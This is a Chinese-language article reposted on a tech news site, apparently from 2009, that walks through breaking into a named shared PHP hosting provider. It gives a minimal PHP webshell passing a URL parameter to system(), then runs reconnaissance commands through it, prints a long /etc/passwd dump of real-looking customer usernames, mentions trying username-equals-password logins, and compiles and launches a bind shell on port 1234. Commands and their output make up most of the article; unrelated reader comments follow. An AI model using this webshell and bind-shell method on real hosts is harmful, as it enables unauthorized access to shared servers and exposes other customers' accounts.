构建Linux下的安全 PHP配置漏洞攻击

ZDNet软件频道 时间:2009-11-04 作者:佚名 | 中国IT实验室 我要评论()
本文关键词:PHP漏洞 PHP Linux
的空间为例子(他是不是所有的服务器都有这个毛病我不知道~我只试验了我的空间所在的服务器):cmd=id (看一下权限到底多大)cmd=uname -ras(看看系统)cmd=cat /etc/hosts cmd=/usr/sbin/rpcinfo -p 

  这些站点的问题主要出在允许使用system(),exec()等等这些函数,熟悉PHP的朋友应该知道,这些函数是调用系统指令的(虽然通过web server PHP程序只能有nobody权限),而且一般用户只要申请一个空间就可以获取局部的可写权限,令用户可以写一个web shell程序执行命令.在这些服务器上一般用户不能够登陆,也就是nologin(没有登陆shell,管理员可没那么"慷慨"!),这样利用system(),exec()这些函数就可以bind一个shell出来~!本文以虎翼网(www.51.net)的空间为例子(他是不是所有的服务器都有这个毛病我不知道~我只试验了我的空间所在的服务器):

  1.写一个webshell先(PHP很容易做到)

  >PHP

  #shell.PHP3

  echo"";

  system("$cmd");

  echo"

  ";

  >

  2.上传到空间

  3.执行(具体的服务器马赛克处理)

  lynx http://xxx.51.net/cgi-bin/shell.PHP?cmd=id (看一下权限到底多大)

  uid=171047(xxxx) gid=51(xxx) groups=51(xxx), 65534(nobody)

  root真的很吝啬啊!

  lynx http://xxx.51.net/cgi-bin/shell.PHP?cmd=uname -ras(看看系统)

  FreeBSD xxx.51.net 3.3-RELEASE FreeBSD 3.3-RELEASE #11: Tue Mar 20

  00:58:09 CST 2001 root@51.net:/usr/src/sys/compile/51NET i386

  lynx http://xxx.51.net/cgi-bin/shell.PHP?cmd=cat

  /etc/passwd(shadow是铁定看不到)

  root:*:0:0:Charlie &:/root:/bin/csh

  toor:*:0:0:Bourne-again Superuser:/root:

  daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin

  operator:*:2:5:System &:/:/sbin/nologin

  bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin

  tty:*:107353:51:USER:/home/tty:/local/bin/null

  kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin

  games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin

  news:*:8:8:News Subsystem:/:/sbin/nologin

  man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin

  bind:*:53:53:Bind Sandbox:/:/sbin/nologin

  uucp:*:66:66:UUCP

  pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico

  xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin

  pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin

  ftp:*:70:70:FTP Daemon:/nonexistent:/sbin/nologin

  nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin

  quotauser1:*:997:51:quotauser:/home/quotauser1:/sbin/nologin

  quotauser2:*:998:51:quotauser:/home/quotauser2:/sbin/nologin

  quotauser3:*:999:51:quotauser:/home/quotauser3:/sbin/nologin

  tian:*:1002:1002::/local/tian:/local/bin/ksh

  sysadmin:*:1001:1001:System

  Administrator:/local/sysadmin:/local/bin/ksh

  test2:*:9999:51::/home/test2:/local/bin/null

  xhjj:*:106200:51:USER:/home/xhjj:/sbin/nologin

  zhinan:*:106201:51:USER:/home/zhinan:/local/bin/null

  yes2:*:106202:51:USER:/home/yes2:/local/bin/null

  daboy:*:106203:51:USER:/home/daboy:/local/bin/null

  yesky:*:106204:51:USER:/home/yesky:/local/bin/null

  yesk:*:106205:51:USER:/home/yesk:/local/bin/null

  lnsyzzg:*:106206:51:USER:/home/lnsyzzg:/local/bin/null

  fog:*:106207:51:USER:/home/fog:/local/bin/null

  renshou:*:106208:51:USER:/home/renshou:/local/bin/null

  hilen:*:106209:51:USER:/home/hilen:/local/bin/null

  hapybird:*:106210:51:USER:/home/hapybird:/sbin/nologin

  xiewei:*:106211:51:USER:/home/xiewei:/sbin/nologin

  wwwer:*:106212:51:USER:/home/wwwer:/local/bin/null

  larry:*:106213:51:USER:/home/larry:/local/bin/null

  sunboys:*:106214:51:USER:/home/sunboys:/local/bin/null

  everydayyuki:*:106215:51:USER:/home/everydayyuki:/local/bin/null

  linguanxi:*:106216:51:USER:/home/linguanxi:/local/bin/null

  baobao:*:106217:51:USER:/home/baobao:/local/bin/null

  chaoshan:*:106218:51:USER:/home/chaoshan:/local/bin/null

  hrstudio:*:106219:51:USER:/home/hrstudio:/local/bin/null

  dengxian:*:106220:51:USER:/home/dengxian:/local/bin/null

  simonstone:*:106221:51:USER:/home/simonstone:/local/bin/null

  chenjian:*:106222:51:USER:/home/chenjian:/local/bin/null

  lvxiangml:*:106223:51:USER:/home/lvxiangml:/local/bin/null

  zzbxaxa:*:106224:51:USER:/home/zzbxaxa:/local/bin/null

  pc2000:*:106225:51:USER:/home/pc2000:/local/bin/null

  startexcel:*:106226:51:USER:/home/startexcel:/local/bin/null

  model:*:106227:51:USER:/home/model:/local/bin/null

  leogirl:*:106228:51:USER:/home/leogirl:/local/bin/null

  fohcn:*:106229:51:USER:/home/fohcn:/local/bin/null

  ljok:*:106230:51:USER:/home/ljok:/local/bin/null

  baorui:*:106231:51:USER:/home/baorui:/local/bin/null

  fky-jack:*:106232:51:USER:/home/fky-jack:/local/bin/null

  zhaowen:*:106233:51:USER:/home/zhaowen:/local/bin/null

  xiaojiaoya:*:106234:51:USER:/home/xiaojiaoya:/local/bin/null

  zyinter:*:106235:51:USER:/home/zyinter:/local/bin/null

  power:*:106236:51:USER:/home/power:/local/bin/null

  feefan:*:106237:51:USER:/home/feefan:/local/bin/null

  paradise:*:106238:51:USER:/home/paradise:/local/bin/null

  wulc:*:106239:51:USER:/home/wulc:/local/bin/null

  jcm:*:106240:51:USER:/home/jcm:/local/bin/null

  liangxiaom:*:106241:51:USER:/home/liangxiaom:/local/bin/null

  jingder:*:106242:51:USER:/home/jingder:/local/bin/null

  hanjun:*:106243:51:USER:/home/hanjun:/local/bin/null

  adai:*:106244:51:USER:/home/adai:/local/bin/null

  fightben:*:106245:51:USER:/home/fightben:/local/bin/null

  lihonghui-ooo:*:106246:51:USER:/home/lihonghui-ooo:/local/bin/null

  xeno:*:106247:51:USER:/home/xeno:/local/bin/null

  ..................(太多了~省略)

  只有几个用户有shell可以登陆,cp到我的目录下面,等一下分离出usrename看看有没有人username=passwd的~呵呵~

  lynx http://xxx.51.net/cgi-bin/shell.PHP?cmd=set

  HOME=/

  PS1=$

  OPTIND=1

  PS2=>

  PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin

  IFS=

  好差的"环境",被设置成这样....

  lynx http://xxx.51.net/cgi-bin/shell.PHP?cmd=cat /etc/hosts

  # $FreeBSD: src/etc/hosts,v 1.9.2.1 1999/08/29 14:18:44 peter Exp $

  #

  # Host Database

  # This file should contain the addresses and aliases

  # for local hosts that share this file.

  # In the presence of the domain name service or NIS, this file may

  # not be consulted at all; see /etc/host.conf for the resolution

  order.

  #

  #

  127.0.0.1 localhost localhost.my.domain myname.my.domain

  #

  # Imaginary network.

  #10.0.0.2 myname.my.domain myname

  #10.0.0.3 myfriend.my.domain myfriend

  #

  # According to RFC 1918, you can use the following IP networks for

  # private nets which will never be connected to the Internet:

  #

  # 10.0.0.0 - 10.255.255.255

  # 172.16.0.0 - 172.31.255.255

  # 192.168.0.0 - 192.168.255.255

  #

  #

  不算太小啊~hosts ~

  lynx http://xxx.51.net/cgi-bin/shell.PHP?cmd=whereis -b gcc

  (老天保佑~有gcc)

  gcc:/usr/sbin/gcc(万岁!!!!!!!!!!!!)

  我来试试看~弄一个大家伙上去,编译一下,哈哈~速度好快!

  webshell太累了,bind一个shell出来方便一点...(上传binshell程序,自己写也可以用perl/C,都不太难)

  lynx http://xxx.51.net/cgi-bin/shell.PHP?cmd=gcc -o bind bindshell.c

  lynx http://xxx.51.net/cgi-bin/shell.PHP?cmd=./bind 1234

  bind shell too port 1234

  telnet xxx.51.net 1234

  .....下面省略,反正就可以执行命令了

  嗯~好像这台没装MySQL,可惜~呵呵~~~~~~~~~,对了oso.com.cn的好像有~,不过最近停了.....

  lynx http://xxx.51.net/cgi-bin/shell.PHP?cmd=/usr/sbin/rpcinfo -p

  localhost

  portmapper 100000 portmap sunrpc

  rstatd 100001 rstat rstat_svc rup perfmeter

  rusersd 100002 rusers

  nfs 100003 nfsprog

  ypserv 100004 ypprog

  mountd 100005 mount showmount

  ypbind 100007

  walld 100008 rwall shutdown

  yppasswdd 100009 yppasswd

  etherstatd 100010 etherstat

  rquotad 100011 rquotaprog quota rquota

  sprayd 100012 spray

用户评论
用户名
评论内容
发表时间
ZDNet网友
2011-03-18 14:57:01
ZDNet网友
2010-05-21 00:49:14
ZDNet网友
2010-05-21 00:48:00
ZDNet网友
微软应该对自己的用户负责,如果用户完全使用xp升级微软win7,为什么要付出这样麻烦的代价?都是微软出品软件,且都是利用该软件获取信息以及处理文字、多媒体功能,微软应该尽可能方便用户!虽然有时候这样的请求也许跟不上时代技术发展的脚步,但是微软不要以此为借口,认为一切都理所应当,就不可以方便用户。还是要尽力,所谓拿人手短吃人嘴软,商业不正是讲求有商道吗!至少做人需诚实守信,尽可能帮助用户顺利、安全转换操作系统、各种必须软件功能尽可能兼容以及信息尽可能的少丢失!虽然这很大程度仅仅取决于微软等计算机专家、工程师的自我自律约束,我们普通用户恐怕很难知道微软究竟仅了多大力量为用户考虑,但是我相信真相会有被发现的一天,无论多久远。 微软从某种意义上来说,就是一个类似“掌握魔方”操作特别出神入化的公司。几乎奠定了电脑主要的“规则”,但是,我却相信不久将来我们会发现,电脑依然是非常有限的一个小系统而已!随着我们新的关键材料认知突破,电脑系统会真正被另一个革命性新电脑系统所取代,不要以为我这样的说法是无稽之谈不可实现,我却认为很有可能,只看这样的情况发生究竟是快还是慢,是早还是迟!变成历史的小玩具之后的电脑系统,微软会留下良好的历史声名吗?我们拭目以待! 网友::我爱佛祖
2010-02-03 13:52:55
- 发表评论 -
匿名
注册用户

百度大联盟认证黄金会员Copyright© 1997- CNET Networks 版权所有。 ZDNet 是CNET Networks公司注册服务商标。
中华人民共和国电信与信息服务业务经营许可证编号:京ICP证010391号 京ICP备09041801号-159
京公网安备:1101082134